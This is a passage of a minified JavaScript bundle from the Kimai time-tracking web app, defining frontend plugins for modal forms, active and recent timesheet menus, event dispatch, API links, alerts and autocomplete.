e}(e):t}function et(e){return(et=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var tt=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&Ze(e,t)}(a,e);var t,n,r,i=Xe(a);function a(e){var t;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,a),(t=i.call(this)).selector=e,t}return t=a,(n=[{key:"init",value:function(){this._addClickHandler(this.selector,(function(e){window.location=e}))}}])&&Ke(t.prototype,n),r&&Ke(t,r),a}(Ve);function nt(e){return(nt="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function rt(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function it(e,t){return(it=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function at(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=st(e);if(t){var i=st(this).constructor;n=Reflect.construct(r,arguments,i)}else n=r.apply(this,arguments);return ot(this,n)}}function ot(e,t){return!t||"object"!==nt(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function st(e){return(st=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var lt=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&it(e,t)}(a,e);var t,n,r,i=at(a);function a(e){var t;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,a),(t=i.call(this)).selector=e,t}return t=a,(n=[{key:"getId",value:function(){return"modal"}},{key:"init",value:function(){var e=this;this.isDirty=!1,this.modal=T()("#remote_form_modal"),this.modal.on("hide.bs.modal",(function(t){if(e.isDirty){if(0===T()("#remote_form_modal .modal-body .remote_modal_is_dirty_warning").length){var n=e.getContainer().getTranslation().get("modal.dirty");T()("#remote_form_modal .modal-body").prepend('<p class="'+(e.modal.hasClass("modal-danger")?"well well-sm ":"")+'text-danger small remote_modal_is_dirty_warning">'+n+"</p>")}t.preventDefault()}else T()(e._getFormIdentifier()).off("change",e._isDirtyHandler),e.isDirty=!1,e.getContainer().getPlugin("event").trigger("modal-hide")})),this.modal.on("hidden.bs.modal",(function(){e.getContainer().getPlugin("form").destroyForm(e._getFormIdentifier()),T()("#remote_form_modal .modal-body").replaceWith("")})),this.modal.on("show.bs.modal",(function(){e.getContainer().getPlugin("event").trigger("modal-show")})),this.modal.on("shown.bs.modal",(function(){var t=T()(e._getFormIdentifier()).find("[autofocus]");t.length<1&&(t=T()(e._getFormIdentifier()).find("input[type=text],textarea,select")),t.filter(':not("[data-datetimepicker=on]")').filter(":visible:first").focus().delay(1e3).focus()})),this._addClickHandler(this.selector,(function(t){e.openUrlInModal(t)}))}},{key:"openUrlInModal",value:function(e,t){var n=this;void 0===t&&(t=function(t,n){void 0!==t.status&&403===t.status||(window.location=e)}),T().ajax({url:e,success:function(e){n._openFormInModal(e)},error:t})}},{key:"_getFormIdentifier",value:function(){return"#remote_form_modal .modal-content form"}},{key:"_openFormInModal",value:function(e){var t=this,n=this._getFormIdentifier(),r=T()(n),i=this.modal;r.off("submit"),T()(e).find("#form_modal .modal-content").length>0&&(i.on("hidden.bs.modal",(function(){i.hasClass("modal-danger")&&i.removeClass("modal-danger")})),T()(e).find("#form_modal").hasClass("modal-danger")&&i.addClass("modal-danger"),T()("#remote_form_modal .modal-content").replaceWith(T()(e).find("#form_modal .modal-content")),T()("#remote_form_modal [data-dismiss=modal]").on("click",(function(){t.isDirty=!1})),t.getContainer().getPlugin("form").activateForm(n));var a=T()(e).find("div.alert");a.length>0&&T()("#remote_form_modal .modal-body").prepend(a);var o=T().fn.modal.Constructor.prototype.enforceFocus;T().fn.modal.Constructor.prototype.enforceFocus=function(){},i.on("hidden.bs.modal",(function(){T().fn.modal.Constructor.prototype.enforceFocus=o})),i.modal("show"),r=T()(n),this._isDirtyHandler=function(e){t.isDirty=!0},r.on("change",this._isDirtyHandler),r.on("submit",(function(e){var a=T()(n+" button[type=submit]").button("loading"),o=r.attr("data-form-event"),s=t.getContainer().getPlugin("event"),l=t.getContainer().getPlugin("alert");e.preventDefault(),e.stopPropagation(),T().ajax({url:r.attr("action"),type:r.attr("method"),data:r.serialize(),success:function(e){a.button("reset");var n=T()(e).find("#form_modal .modal-content .has-error").length>0,u=T()(e).find("#form_modal .modal-content ul.list-unstyled li.text-danger").length>0,c=T()(e).find("div.alert-error").length>0;if(n||u||c)t._openFormInModal(e);else{s.trigger(o);var d=r.attr("data-msg-success");if(null==d){var f=T()(e).find("section.content div.row div.alert.alert-success");if(f.length>0){var h=f.contents();3===h.length&&(d=h[2].textContent)}}null==d&&(d="action.update.success"),t.isDirty=!1,i.modal("hide"),l.success(d)}return!1},error:function(e,t){var n=r.attr("data-msg-error");null==n&&(n="action.update.error"),e.responseJSON&&e.responseJSON.message?t=e.responseJSON.message:e.status&&e.statusText&&(t="["+e.status+"] "+e.statusText),l.error(n,t),setTimeout((function(){a.button("reset")}),1500)}})}))}}])&&rt(t.prototype,n),r&&rt(t,r),a}(Ve);n(2222);function ut(e){return(ut="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function ct(e,t){var n="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!n){if(Array.isArray(e)||(n=function(e,t){if(!e)return;if("string"==typeof e)return dt(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return dt(e,t)}(e))||t&&e&&"number"==typeof e.length){n&&(e=n);var r=0,i=function(){};return{s:i,n:function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(e){throw e},f:i}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var a,o=!0,s=!1;return{s:function(){n=n.call(e)},n:function(){var e=n.next();return o=e.done,e},e:function(e){s=!0,a=e},f:function(){try{o||null==n.return||n.return()}finally{if(s)throw a}}}}function dt(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function ft(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function ht(e,t){return(ht=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function mt(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=_t(e);if(t){var i=_t(this).constructor;n=Reflect.construct(r,arguments,i)}else n=r.apply(this,arguments);return pt(this,n)}}function pt(e,t){return!t||"object"!==ut(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function _t(e){return(_t=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var yt=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&ht(e,t)}(a,e);var t,n,r,i=mt(a);function a(e,t){var n;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,a),(n=i.call(this)).selector=e,n.selectorEmpty=t,n}return t=a,(n=[{key:"getId",value:function(){return"active-records"}},{key:"init",value:function(){var e=document.querySelector(this.selector);if(null!==e){var t=e.querySelector("ul.dropdown-menu");this.attributes=t.dataset,this.itemList=t.querySelector("li > ul.menu"),this.label=e.querySelector("a > span.label");var n=this,r=function(){n.reloadActiveRecords()};document.addEventListener("kimai.timesheetUpdate",r),document.addEventListener("kimai.timesheetDelete",r),document.addEventListener("kimai.activityUpdate",r),document.addEventListener("kimai.activityDelete",r),document.addEventListener("kimai.projectUpdate",r),document.addEventListener("kimai.projectDelete",r),document.addEventListener("kimai.customerUpdate",r),document.addEventListener("kimai.customerDelete",r)}}},{key:"emptyList",value:function(){this.itemList.innerHTML=""}},{key:"_toggleMenu",value:function(e){var t=document.querySelector(this.selector),n=document.querySelector(this.selectorEmpty);t.style.display=e?"inline-block":"none",null!==n&&(n.style.display=e?"none":"inline-block")}},{key:"setEntries",value:function(e){if(this._toggleMenu(e.length>0),0===e.length)return this.label.innerText="",void this.emptyList();var t,n="",r=this.getContainer().getPlugin("timesheet-duration"),i=ct(e);try{for(i.s();!(t=i.n()).done;){var a=t.value;n+="<li>"+'<a href="'.concat(this.attributes.href.replace("000",a.id),'" data-event="kimai.timesheetStop kimai.timesheetUpdate" class="api-link" data-method="PATCH" data-msg-error="timesheet.stop.error" data-msg-success="timesheet.stop.success">')+'<div class="pull-left">'+'<i class="'.concat(this.attributes.icon,' fa-2x"></i>')+"</div><h4>"+"<span>".concat(a.activity.name,"</span>")+"<small>"+'<span data-title="true" data-since="'.concat(a.begin,'">').concat(r.formatDuration(a.duration),"</span>")+"</small></h4>"+"<p>".concat(a.project.name," (").concat(a.project.customer.name,")</p>")+"</a></li>"}}catch(e){i.e(e)}finally{i.f()}this.label.dataset.warning<e.length?this.label.classList="label label-danger":this.label.classList="label label-warning",this.label.innerText=e.length,this.itemList.innerHTML=n,r.updateRecords()}},{key:"reloadActiveRecords",value:function(){var e=this;this.getContainer().getPlugin("api").get(this.attributes.api,{},(function(t){e.setEntries(t)}))}}])&&ft(t.prototype,n),r&&ft(t,r),a}(c);function gt(e){return(gt="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function vt(e,t){var n="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!n){if(Array.isArray(e)||(n=function(e,t){if(!e)return;if("string"==typeof e)return bt(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return bt(e,t)}(e))||t&&e&&"number"==typeof e.length){n&&(e=n);var r=0,i=function(){};return{s:i,n:function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(e){throw e},f:i}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var a,o=!0,s=!1;return{s:function(){n=n.call(e)},n:function(){var e=n.next();return o=e.done,e},e:function(e){s=!0,a=e},f:function(){try{o||null==n.return||n.return()}finally{if(s)throw a}}}}function bt(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function wt(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function Mt(e,t){return(Mt=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function Lt(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=Yt(e);if(t){var i=Yt(this).constructor;n=Reflect.construct(r,arguments,i)}else n=r.apply(this,arguments);return kt(this,n)}}function kt(e,t){return!t||"object"!==gt(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function Yt(e){return(Yt=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var Dt=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&Mt(e,t)}(a,e);var t,n,r,i=Lt(a);function a(e){var t;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,a),(t=i.call(this)).selector=e,t}return t=a,(n=[{key:"getId",value:function(){return"recent-activities"}},{key:"init",value:function(){var e=document.querySelector(this.selector);if(null!==e){var t=e.querySelector("ul.dropdown-menu");this.attributes=t.dataset,this.itemList=t.querySelector("li > ul.menu");var n=this,r=function(){n.reloadRecentActivities()};setTimeout(r,500),document.addEventListener("kimai.recentActivities",r),document.addEventListener("kimai.timesheetUpdate",r),document.addEventListener("kimai.timesheetDelete",r),document.addEventListener("kimai.activityUpdate",r),document.addEventListener("kimai.activityDelete",r),document.addEventListener("kimai.projectUpdate",r),document.addEventListener("kimai.projectDelete",r),document.addEventListener("kimai.customerUpdate",r),document.addEventListener("kimai.customerDelete",r)}}},{key:"emptyList",value:function(){this.itemList.innerHTML=""}},{key:"setEntries",value:function(e){if(0!==e.length){var t,n="",r=vt(e);try{for(r.s();!(t=r.n()).done;){var i=t.value,a=this.attributes.template.replace("%customer%",i.project.customer.name).replace("%project%",i.project.name).replace("%activity%",i.activity.name);n+="<li>"+'<a href="'.concat(this.attributes.href.replace("000",i.id),'" data-event="kimai.timesheetStart kimai.timesheetUpdate" class="api-link" data-method="PATCH" data-msg-error="timesheet.start.error" data-msg-success="timesheet.start.success">')+'<i class="'.concat(this.attributes.icon,'"></i> ').concat(a)+"</a></li>"}}catch(e){r.e(e)}finally{r.f()}this.itemList.innerHTML=n}else this.emptyList()}},{key:"reloadRecentActivities",value:function(){var e=this;this.getContainer().getPlugin("api").get(this.attributes.api,{},(function(t){e.setEntries(t)}))}}])&&wt(t.prototype,n),r&&wt(t,r),a}(c);function Tt(e){return(Tt="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function xt(e,t){var n="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!n){if(Array.isArray(e)||(n=function(e,t){if(!e)return;if("string"==typeof e)return St(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return St(e,t)}(e))||t&&e&&"number"==typeof e.length){n&&(e=n);var r=0,i=function(){};return{s:i,n:function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(e){throw e},f:i}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var a,o=!0,s=!1;return{s:function(){n=n.call(e)},n:function(){var e=n.next();return o=e.done,e},e:function(e){s=!0,a=e},f:function(){try{o||null==n.return||n.return()}finally{if(s)throw a}}}}function St(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function jt(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function Ot(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function Ct(e,t){return(Ct=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function Ht(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=Pt(e);if(t){var i=Pt(this).constructor;n=Reflect.construct(r,arguments,i)}else n=r.apply(this,arguments);return Et(this,n)}}function Et(e,t){return!t||"object"!==Tt(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function Pt(e){return(Pt=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var At=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&Ct(e,t)}(a,e);var t,n,r,i=Ht(a);function a(){return jt(this,a),i.apply(this,arguments)}return t=a,(n=[{key:"getId",value:function(){return"event"}},{key:"trigger",value:function(e,t){if(null!=e){var n,r=xt(e.split(" "));try{for(r.s();!(n=r.n()).done;){var i=n.value,a=new Event(i);void 0!==t&&(a=new CustomEvent(i,{detail:t})),document.dispatchEvent(a)}}catch(e){r.e(e)}finally{r.f()}}}}])&&Ot(t.prototype,n),r&&Ot(t,r),a}(c);function Rt(e){return(Rt="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function It(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function Wt(e,t){return(Wt=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function Nt(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=Ft(e);if(t){var i=Ft(this).constructor;n=Reflect.construct(r,arguments,i)}else n=r.apply(this,arguments);return $t(this,n)}}function $t(e,t){return!t||"object"!==Rt(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function Ft(e){return(Ft=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var zt=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&Wt(e,t)}(a,e);var t,n,r,i=Nt(a);function a(e){var t;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,a),(t=i.call(this)).selector=e,t}return t=a,(n=[{key:"init",value:function(){var e=this;document.addEventListener("click",(function(t){for(var n=t.target;null!==n&&!n.matches("body");)n.classList.contains(e.selector)&&function(){var r=n.dataset,i=r.href;i||(i=n.getAttribute("href")),void 0!==r.question?e.getContainer().getPlugin("alert").question(r.question,(function(t){t&&e._callApi(i,r)})):e._callApi(i,r),t.preventDefault(),t.stopPropagation()}(),n=n.parentNode}))}},{key:"_callApi",value:function(e,t){var n=t.method,r=t.event,i=this.getContainer().getPlugin("api"),a=this.getContainer().getPlugin("event"),o=this.getContainer().getPlugin("alert"),s=function(e){a.trigger(r),t.msgSuccess&&o.success(t.msgSuccess)},l=function(e,n){var r="action.update.error";t.msgError&&(r=t.msgError),i.handleError(r,e,n)};if("PATCH"===n){var u={};t.payload&&(u=t.payload),i.patch(e,u,s,l)}else if("POST"===n){var c={};t.payload&&(c=t.payload),i.post(e,c,s,l)}else"DELETE"===n&&i.delete(e,s,l)}}])&&It(t.prototype,n),r&&It(t,r),a}(c),Bt=n(6455),qt=n.n(Bt);function Ut(e){return(Ut="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Jt(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function Vt(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function Gt(e,t){return(Gt=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function Kt(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=Xt(e);if(t){var i=Xt(this).constructor;n=Reflect.construct(r,arguments,i)}else n=r.apply(this,arguments);return Zt(this,n)}}function Zt(e,t){return!t||"object"!==Ut(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function Xt(e){return(Xt=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var Qt=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&Gt(e,t)}(a,e);var t,n,r,i=Kt(a);function a(){return Jt(this,a),i.apply(this,arguments)}return t=a,(n=[{key:"getId",value:function(){return"alert"}},{key:"error",value:function(e,t){var n=this.getContainer().getTranslation();n.has(e)&&(e=n.get(e)),n.has(t)&&(t=n.get(t)),Array.isArray(t)?qt().fire({icon:"error",title:e.replace("%reason%",""),html:t.join("<br>")}):qt().fire({icon:"error",title:e.replace("%reason%",""),text:t})}},{key:"warning",value:function(e){this._show("warning",e)}},{key:"success",value:function(e){this._toast("success",e)}},{key:"info",value:function(e){this._show("info",e)}},{key:"_show",value:function(e,t){var n=this.getContainer().getTranslation();n.has(t)&&(t=n.get(t)),qt().fire({icon:e,title:t})}},{key:"_toast",value:function(e,t){var n=this.getContainer().getTranslation();n.has(t)&&(t=n.get(t)),qt().fire({timer:2e3,timerProgressBar:!0,toast:!0,position:"top",showConfirmButton:!1,icon:e,title:t})}},{key:"question",value:function(e,t){var n=this.getContainer().getTranslation();n.has(e)&&(e=n.get(e)),qt().fire({title:e,icon:"question",showCancelButton:!0,confirmButtonText:n.get("confirm"),cancelButtonText:n.get("cancel")}).then((function(e){t(e.value)}))}}])&&Vt(t.prototype,n),r&&Vt(t,r),a}(c),en=(n(6699),n(2023),n(9755));function tn(e){return(tn="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function nn(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function rn(e,t){return(rn=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function an(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=sn(e);if(t){var i=sn(this).constructor;n=Reflect.construct(r,arguments,i)}else n=r.apply(this,arguments);return on(this,n)}}function on(e,t){return!t||"object"!==tn(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function sn(e){return(sn=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var ln=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&rn(e,t)}(a,e);var t,n,r,i=an(a);function a(e){var t;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,a),(t=i.call(this)).selector=e,t}return t=a,(n=[{key:"init",value:function(){this.minChars=this.getConfiguration("autoComplete")}},{key:"getId",value:function(){return"autocomplete"}},{key:"splitTagList",value:function(e){return e.split(/,\s*/)}},{key:"extractLastTag",value:function(e){return this.splitTagList(e).pop()}},{key:"activateAutocomplete",value:function(e){var t=this;T()(e+" "+this.selector).each((function(e){var n=T()(this),r=n.attr("data-autocomplete-url"),i=t.getContainer().getPlugin("api");n.on("keydown",(function(e){e.keyCode===T().ui.keyCode.TAB&&T()(this).autocomplete("instance").menu.active&&e.preventDefault()})).autocomplete({source:function(e,n){var a=t.extractLastTag(e.term);i.get(r,{name:a},(function(e){n(e)}))},search:function(){if(t.extractLastTag(this.value).length<t.minChars)return!1},focus:function(){return!1},select:function(e,n){var r=t.splitTagList(this.value);return r.pop(),r.includes(n.item.value)||r.push(n.item.value),r.push(""),this.value=r.join(", "),en(this).trigger("change"),!1}})}))}},{key:"destroyAutocomplete",value:function(e){T()(e+" "+this.selector).each((function(e){var t=T()(this);t.autocomplete("destroy"),t.removeData("autocomplete")}))}}])&&nn(t.prototype,n),r&&nn(t,r),a}(c),un=(n(3210),n(561),n(9720),n(5003),n(9337),n(9755));function cn(e){return(cn="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function dn(e,t){var n="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!n){if(Array.isArray(e)||(n=hn(e))||t&&e&&"number"==typeof e.length){n&&(e=n);var r=0,i=function(){};return{s:i,n:function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(e){throw e},f:i}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var a,o=!0,s=!1;return{s:function(){n=n.call(e)},n:function(){var e=n.next();return o=e.done,e},e:function(e){s=!0,a=e},f:function(){try{o||null==n.return||n.return()}finally{if(s)throw a}}}}function fn(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=e&&("undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"]);if(null==n)return;var r,i,a=[],o=!0,s=!1;try{for(n=n.call(e);!(o=(r=n.next()).done)&&(a.push(r.value),!t||a.length!==t);o=!0);}catch(e){s=!0,i=e}finally{try{o||null==n.return||n.return()}finally{if(s)throw i}}return a}(e,t)||hn(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function hn(e,t){if(e){if("string"==typeof e)return mn(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?mn(e,t):void 0}}function mn(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function pn(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function _n(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?pn(Object(n),!0).forEach((function(t){yn(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):pn(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function yn(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function gn(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function vn(e,t){return(vn=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function bn(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=Mn(e);if(t){var i=Mn(this).constructor;n=Reflect.construct(r,arguments,i)}else n=r.apply(this,arguments);return wn(this,n)}}function wn(e,t){return!t||"object"!==cn(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function Mn(e){return(Mn=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return 